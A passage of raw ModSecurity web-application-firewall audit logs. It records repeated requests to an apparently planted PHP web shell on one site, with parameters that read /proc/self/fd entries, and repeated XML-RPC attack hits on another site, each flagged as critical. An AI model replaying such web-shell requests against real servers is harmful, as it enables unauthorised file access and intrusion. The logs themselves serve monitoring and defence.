+claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7f426f72-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --7f426f72-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/166"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/166"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JyVLvCKKZvNl9c__WlQAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043081710811 4161 (- - -) Stopwatch2: 1750043081710811 4161; combined=2198, p1=359, p2=1687, p3=35, p4=33, p5=84, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f426f72-Z-- --5dea0633-A-- [16/Jun/2025:08:34:41.954404 +0530] aE-Jyb-GHz_IIxWr6ZuHGwAAAAg 128.199.112.101 34838 127.0.0.1 7081 --5dea0633-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5dea0633-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5dea0633-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Jyb-GHz_IIxWr6ZuHGwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750043081010588 943905 (- - -) Stopwatch2: 1750043081010588 943905; combined=2302, p1=350, p2=1484, p3=40, p4=61, p5=232, sr=94, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5dea0633-Z-- --e83b6a7a-A-- [16/Jun/2025:08:35:27.379774 +0530] aE-J9-OzMRjUd1ppiI20AQAAAAQ 216.73.216.83 43948 127.0.0.1 7081 --e83b6a7a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F72 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --e83b6a7a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --e83b6a7a-H-- Message: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/72"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/72"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J9-OzMRjUd1ppiI20AQAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043127377369 2459 (- - -) Stopwatch2: 1750043127377369 2459; combined=1233, p1=205, p2=941, p3=24, p4=22, p5=41, sr=67, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e83b6a7a-Z-- --130c0e49-A-- [16/Jun/2025:08:35:27.380343 +0530] aE-J91LyTgTLRBnIBDZoBAAAAAM 216.73.216.83 43922 127.0.0.1 7081 --130c0e49-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F12 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --130c0e49-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --130c0e49-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/12"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/12"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J91LyTgTLRBnIBDZoBAAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043127377024 3392 (- - -) Stopwatch2: 1750043127377024 3392; combined=1667, p1=286, p2=1255, p3=28, p4=35, p5=63, sr=74, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --130c0e49-Z-- --50031a2f-A-- [16/Jun/2025:08:35:27.383474 +0530] aE-J97-GHz_IIxWr6ZuHMwAAAAg 216.73.216.83 43878 127.0.0.1 7081 --50031a2f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F183 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --50031a2f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --50031a2f-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/183"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/183"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J97-GHz_IIxWr6ZuHMwAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043127380848 2678 (- - -) Stopwatch2: 1750043127380848 2678; combined=1345, p1=276, p2=984, p3=23, p4=22, p5=40, sr=75, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --50031a2f-Z-- --7c4a2752-A-- [16/Jun/2025:08:35:27.529142 +0530] aE-J90N_xpBAtP8SIP1DcAAAAAo 216.73.216.83 43974 127.0.0.1 7081 --7c4a2752-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F120 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7c4a2752-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --7c4a2752-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/120"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/120"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J90N_xpBAtP8SIP1DcAAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043127525127 4069 (- - -) Stopwatch2: 1750043127525127 4069; combined=2175, p1=337, p2=1706, p3=37, p4=41, p5=54, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c4a2752-Z-- --7ee9bf1a-A-- [16/Jun/2025:08:35:28.807645 +0530] aE-J-Prb_uQIHEwgEhziuQAAAAA 216.73.216.83 44168 127.0.0.1 7081 --7ee9bf1a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F89 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7ee9bf1a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --7ee9bf1a-H-- Message: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/89"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/89"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J-Prb_uQIHEwgEhziuQAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043128803308 4396 (- - -) Stopwatch2: 1750043128803308 4396; combined=2240, p1=334, p2=1745, p3=37, p4=39, p5=85, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ee9bf1a-Z-- --e3964922-A-- [16/Jun/2025:08:35:29.081864 +0530] aE-J-SSg0_FUeePR9Z0GLQAAAAE 216.73.216.83 44214 127.0.0.1 7081 --e3964922-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F96 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --e3964922-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --e3964922-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/96"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/96"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J-SSg0_FUeePR9Z0GLQAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043129076837 5081 (- - -) Stopwatch2: 1750043129076837 5081; combined=2868, p1=444, p2=2288, p3=42, p4=40, p5=54, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3964922-Z-- --d7ac2d14-A-- [16/Jun/2025:08:35:29.899449 +0530] aE-J-QS4XDlCv3KXioQR1wAAAAY 216.73.216.83 60556 127.0.0.1 7081 --d7ac2d14-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F86 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --d7ac2d14-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --d7ac2d14-H-- Message: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/86"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/86"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J-QS4XDlCv3KXioQR1wAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043129895010 4494 (- - -) Stopwatch2: 1750043129895010 4494; combined=2439, p1=349, p2=1957, p3=38, p4=36, p5=58, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7ac2d14-Z-- --8abefb21-A-- [16/Jun/2025:08:35:30.262629 +0530] aE-J-m6ZKHkY_8UM7_tDRwAAAAU 216.73.216.83 60620 127.0.0.1 7081 --8abefb21-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F197 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --8abefb21-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --8abefb21-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/197"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/197"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J-m6ZKHkY_8UM7_tDRwAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043130258425 4258 (- - -) Stopwatch2: 1750043130258425 4258; combined=2282, p1=354, p2=1798, p3=37, p4=35, p5=58, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8abefb21-Z-- --3fa52b68-A-- [16/Jun/2025:08:35:30.354524 +0530] aE-J-uOzMRjUd1ppiI20BQAAAAQ 216.73.216.83 60624 127.0.0.1 7081 --3fa52b68-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F162 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --3fa52b68-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --3fa52b68-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/162"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/162"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-J-uOzMRjUd1ppiI20BQAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043130350041 4538 (- - -) Stopwatch2: 1750043130350041 4538; combined=2374, p1=369, p2=1866, p3=37, p4=41, p5=61, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fa52b68-Z-- --94c61134-A-- [16/Jun/2025:08:35:42.878820 +0530] aE-KBb-GHz_IIxWr6ZuHQwAAAAg 128.199.112.101 49508 127.0.0.1 7081 --94c61134-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --94c61134-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --94c61134-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-KBb-GHz_IIxWr6ZuHQwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750043141964872 914026 (- - -) Stopwatch2: 1750043141964872 914026; combined=2267, p1=379, p2=1567, p3=32, p4=46, p5=151, sr=106, sw=92, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94c61134-Z-- --b2380a67-A-- [16/Jun/2025:08:36:21.454078 +0530] aE-KLQS4XDlCv3KXioQR8gAAAAY 216.73.216.83 43552 127.0.0.1 7081 --b2380a67-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F79 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --b2380a67-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --b2380a67-H-- Message: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/79"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/79"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-KLQS4XDlCv3KXioQR8gAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043181448713 5448 (- - -) Stopwatch2: 1750043181448713 5448; combined=2938, p1=361, p2=2415, p3=53, p4=36, p5=72, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2380a67-Z-- --adf1a70b-A-- [16/Jun/2025:08:36:21.454764 +0530] aE-KLefuBBh2mGxo8mWK3wAAAAs 216.73.216.83 43572 127.0.0.1 7081 --adf1a70b-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F69 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --adf1a70b-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --adf1a70b-H-- Message: Warning. Matched phrase "proc/self/fd/6" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: 